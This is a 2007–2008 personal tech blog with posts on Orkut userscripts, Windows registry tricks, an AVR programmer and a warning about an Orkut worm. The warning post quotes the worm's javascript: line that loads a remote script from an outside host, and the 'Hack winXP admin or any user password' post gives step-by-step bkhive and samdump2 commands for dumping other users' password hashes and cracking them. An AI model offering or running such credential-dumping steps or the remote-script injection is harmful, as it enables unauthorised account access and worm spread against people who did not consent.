Anils blog

Orkut users beware!!! dont exceute this javascript injection

Posted by anil soni on March 15, 2008

Yesterday, after a long time when i checked my orkut scarpbook. I found same scrap from 4 friend of mine. That scrap was

Heya !!

how are you??
Do you know there was a profile in news last night

link :- click here

The about me of This Profile Is Superb.

The link provided in this scrap was pointing to a profile who claims to be Bani (the MTV ROADIES 4.0 girl). The about section of this profile instructs to execute a javascript injection by which we can open any locked album. The about section goes like this

about me:

JOIN ME HERE:- BANI "MTV ROADIES" GIRL

VIEW ANYONE'S LOCKED ALBUM NOW.

1.) Goto the profile of which you need
to view the album

2.) Copy the javascript given below and paste
it to your address bar where you write www.orkut.com And hit enter key

3.) Now wait for the images to be loaded
as it will take a few minutes .

javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://mrnoobrulez.110mb.com/orkut0.js';void(0)

And Yes I have Uploaded My New Picture But
Please Dont use this trick on my album

This javascript injection appends a new script tag in the page whose source is actually available at http://mrnoobrulez.110mb.com/orkut0.js. Now this is the real script… who ever wrote this script is a true hacker. This scripts performs following three tasks

  1. It sends the same scrap to all friends of victim
  2. It hiddenly adds the user to 3 communities [ Love is in the air , Fastest community ever and Orkut]
  3. Displays text about basics of SQL injections

I think owner of these communities is spreading this scrap and till now he has got millions of members for his communities. The source code of this javascript is attached here. So dont execute a javascript injection if you exactly dont know what it does.

Posted in Uncategorized | 6 Comments »

Registry Trick: Multiple instances of yahoo messenger

Posted by anil soni on June 19, 2007

Click start then run

  • Write regedit, press enter
  • Goto “HKEY_CURRENT_USER\Software\Yahoo\Pager\Test”
  • Create a DWORD registry value named “Plural” by right clicking the right hand side window.
  • Double click the new DWORD entry and set the value to 1

Now you remain online with two or more different yahoo ids at the same time.

source: http://www.thinkdigit.com/forum/showthread.php?t=55350

Posted in Uncategorized | 3 Comments »

My Simple AVR Burner

Posted by anil soni on May 23, 2007

Here i am putting my first AVR burner. I have used this to burn program into ATmega 8535 and its works fine with 8535 but i dont know whether it will work with others or not.

AVR Burner

This burner can be used to burn program into flash memory and it can also be used to write data in EPROM. if you want to use this burner with most widely used avrdude then you have to edit the configuration file of avrdude(avrdude.conf). Carefully add following lines in your avrdude confugration file:
programmer
id = "at-prog";
desc = "AT-prog programmer, added by anil soni";
type = par;
reset = 5;
sck = 3;
mosi = 2;
miso = 10;
;

if you dont no where to add these lines then u can donwload and use my confugration file from here. I will soon put a tutorial on how to use avrdude.

This circuit also works with AT-Prog so u can also use AT-Prog. you can download AT-prog from here.

Posted in Uncategorized | 4 Comments »

Quick Scrap Tool – Another UserJs for opera

Posted by anil soni on March 22, 2007

Here is another user Javascript for orkut which works perfect in Opera9 (yaa u need to have opera 9 for this). This time i have created a Scrap Tool for orkut. Using this you can insert smiley, format your scrap, create hyperlinks with some clicks. Well i am not going to explain how this script works because if you know javascript (specially GreaseMonkey script) then u already know how it works. Here i am providing screenshots of Quick Scrap Tool. The method of using UserJS is already explained by me here.
Right Click and select save target as to start downloading scrapTool.js
Quick Scrap Tool
Quick Scrap Tool

Posted in Javascript Injections | Leave a Comment »

Hack winXP admin or any user password

Posted by anil soni on March 14, 2007

This tutorial will teach you how to get windows XP user password, if you have physical acces to that computer. For this you have to follow the following steps:

  1. Download Backtrack iso image from http://mirror.switch.ch/ftp/mirror/backtrack/bt2final.iso (~700MB)
  2. After download is complete you can either burn it on disc or you can create a bootable pen drive. For Creating bootable pen drive mount this disc on your favourite virtual drive (alchol 120%, cloneCD, virtualCD) and from command prompt type
    g:\make_disc.bat k:
    Here i am assuming g: as your virtual CDrom drive letter and k: as your pen drive letter
  3. Now your bootable media is ready. Boot the system with your bootable media for this change the first boot device in BIOS to CDROM if you have burned a DISC and if you are using a pen drive then set first boot device to USB-HDD or USB-FDD.
  4. After getting the KDE desktop of backtrack start the console and type
    bkhive /mnt/hda1/WINDOWS/system32/config/system /mnt/hda1/keyfile
    here /mnt/hda1 is your c:\ and i am assuming that your c:\ is FAT32 fromatted and not NTFS otherwise you have to find one such partition using mount command for keyfile. If you are using a pen drive then dont worry about the filesystem simply use this command
    bkhive /mnt/hda1/WINDOWS/system32/config/system keyfile

    bkhive get the system key which is used to remove the extra encryption from SAM database.

  5. Now type another command which is used to Dump the password from SAM file
    samdump2 /mnt/hda1/WINDOWS/system32/config/SAM /mnt/hda1/keyfile > pwdumpfile.txt
    or if you have diffrent location for keyfile then use that location instead of /mnt/hda1/keyfile and again if you are using a pen drive then simply use this command
    samdump2 /mnt/hda1/WINDOWS/system32/config/SAM keyfile > pwdumpfile.txt
  6. Final step, in previous step we have successfully dumped passwords for all user in pwdumpfile.txt. This file contains the password of all users, but these password are still not readable because they are in form LM hash, so to reverse these LM hashes use either SAMinside which will crack the password for you using brute-force or dictionary attack or submit your hashes at www.plain-text.info (simple and fast, preffered).
  7. source: See video version at irongeek http://www.irongeek.com/i.php?page=videos/backtrackplaintext

Posted in Hacking | 1 Comment »

Hide orkut friends request in opera

Posted by anil soni on February 12, 2007

I have created a user javascript which can be used to hide friend request and can be showned on demand. Here are some screenshots which shows how this script works:

Normal friend add request view
Normal view of orkut when a person request you to add as a friend
View after adding orkut request hider
Screenshot showing the add friend request with option to hide requests

Here i am giving you the script or you can download this script from here(right click and click on save target as).

// ==UserScript==
// @include http://www.orkut.com/home.aspx
// @description Hide request panel on orkut profile homepage
// ==/UserScript==

document.onload=Hide_Requests;
var new_con;
function Hide_Requests()
{
var tables=document.getElementsByTagName(“table”);
var con_str=tables[3].cells[0].innerHTML;
if (con_str.substr(0,3)==”new”)
{
new_con =con_str.substr(con_str.indexOf(“(“)+1,con_str.indexOf(“)”)-con_str.indexOf(“(“)-1);
tables[3].cells[0].innerHTML=”<a href=’Show_Requests()’>Show all requests.</a> Total “+new_con+” requests” ;
tables[3].rows[1].style.display=”none”;
}
}

function Show_Requests()
{
var tables=document.getElementsByTagName(“table”);
tables[3].cells[0].innerHTML=”new connections <span>(“+new_con+”)</span> – <a href=’Hide_Requests()’>Hide</a>”;
tables[3].rows[1].style.display=”block”;
}

Save this script as “orkut request hider.js”. Now open orkut site in opera and goto Tools>Quick Preferences>Edit Site Preferences
from here select scripting tab and now check “Enable Javascript” option and at the bottom of this you will find “User Javascript files”. Click on choose and select the folder in which you have saved “orkut request hider.js”

Click Ok and login into your orkut account. maaza aaa gaya ho gaya hooray

Posted in Javascript Injections | 3 Comments »

Add your own My Computer like folder on Desktop

Posted by anil soni on February 5, 2007

We can also create our own Special folders one and then we can also put these folder on desktop like My Computer, My document, Recycle Bin etc. Here is screenshot from my desktop showing my own special folder with its own context menu.

screenshot

To do this create a CLSID. A CLass ID or GUID is a global unique ID which is used to represent unique COM objects. Following are some CLSID which are left free for user and are not used by most of the software.

{25892e17-80f6-415f-9c65-7395632f0223}
{a53e98e4-0197-4513-be6d-49836e406aaa}
{e33898de-6302-4756-8f0c-5f6c5218e02e}
{3a768eea-cbda-4926-a82d-831cb89092aa}
{cd171f7c-560d-4a62-8d65-16b87419a58c}
{17084b40-08f5-4bcd-a739-c0d08c176bad}
{d63a8ffd-bdac-498c-b861-a53e11989cef}
{11cdd494-de5b-460e-9ddf-4e84bad6f596}
{deb17e15-d47c-449f-b1b0-4d55247d153f}
{30a7e1b3-e763-4789-a54d-fcc53dcf973a}

Open registry editor(start>run>regedit press enter)
Note: HKCR stands for HKEY_CLASSES_ROOT

  1. First choose any one of the CLSID (i will use {25892e17-80f6-415f-9c65-7395632f0223} as an example in this tutorial) and create a key in registry HKCR\CLSID\{25892e17-80f6-415f-9c65-7395632f0223} Set its following values here

    • (default) value to the text u want to be display below the icon.
    • Create a new string value here InfoTip and set its value to any text u want to display as ToolTip like My Personal special folder
  2. Create another key HKCR\CLSID\{25892e17-80f6-415f-9c65-7395632f0223}\DefaultIcon and set its (default) value to any Icon file u want.
  3. Now create key HKCR\CLSID\{25892e17-80f6-415f-9c65-7395632f0223}\InprocServer32 and set its (default) value to shell32.dll. Create a another string value called ThreadingModel and set its value to Apartment
  4. Now create following sub keys in HKCR\CLSID\{25892e17-80f6-415f-9c65-7395632f0223} :
    • Shell
    • Shell\Open
      set its (default) value to Open or to any text u want
      to display in right click menu as default operation.
    • Shell\Open\Command
      set its (default) value to explorer.exe \n, “path of your folder
      create another sub key ShellFolder and create a DWORD value with name Attributes and set its value to 0
  5. last step put the created special folder on Desktop: for this create a key as shown below
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
    Explorer\Desktop\NameSpace\{25892e17-80f6-415f-9c65-7395632f0223}

Now close regedit and come to desktop and Refresh desktop. Volla here is your own special folder on desktop and it cannot be renamed or delete from the desktop like recycle bin and my computer.

To remove this special folder just delete above created keys and refresh your desktop.

CAUTION: Playing with registry may result in corrupt OS so do not delete or modify any other key it may result in boot failure.

source:
Microsoft MSDN
www.Pctools.com

Posted in Windows Tricks | 2 Comments »

Watch this the worlds most amazing Pool shots

Posted by anil soni on January 21, 2007

Click here

Posted in Uncategorized | Leave a Comment »

Here is the proof that all girls are evil

Posted by anil soni on January 15, 2007

Hello boys here i have found something on internet which proves that Girls are evil. Its a simple derivation.

Posted in Uncategorized | 4 Comments »

Secure Folder v1.0

Posted by anil soni on January 11, 2007

Today i am launching my first utility program on internet- Secure Folder v1.0. This utility Program will help you to password protect any of your file. It will create a folder – SecureFolder which can be access only by entering correct password and once the Folder is Secured it cannot be accessed. Its multiple copies can be created by copy and pasting the SecureFolder.exe file only. On first start it will ask you to set password for that particular location based Secure Folder. So Download and start keeping your secrets Secure.
HomePage of Secure Folder v1.0

Posted in Downloads | 4 Comments »

 
Follow

Get every new post delivered to your Inbox.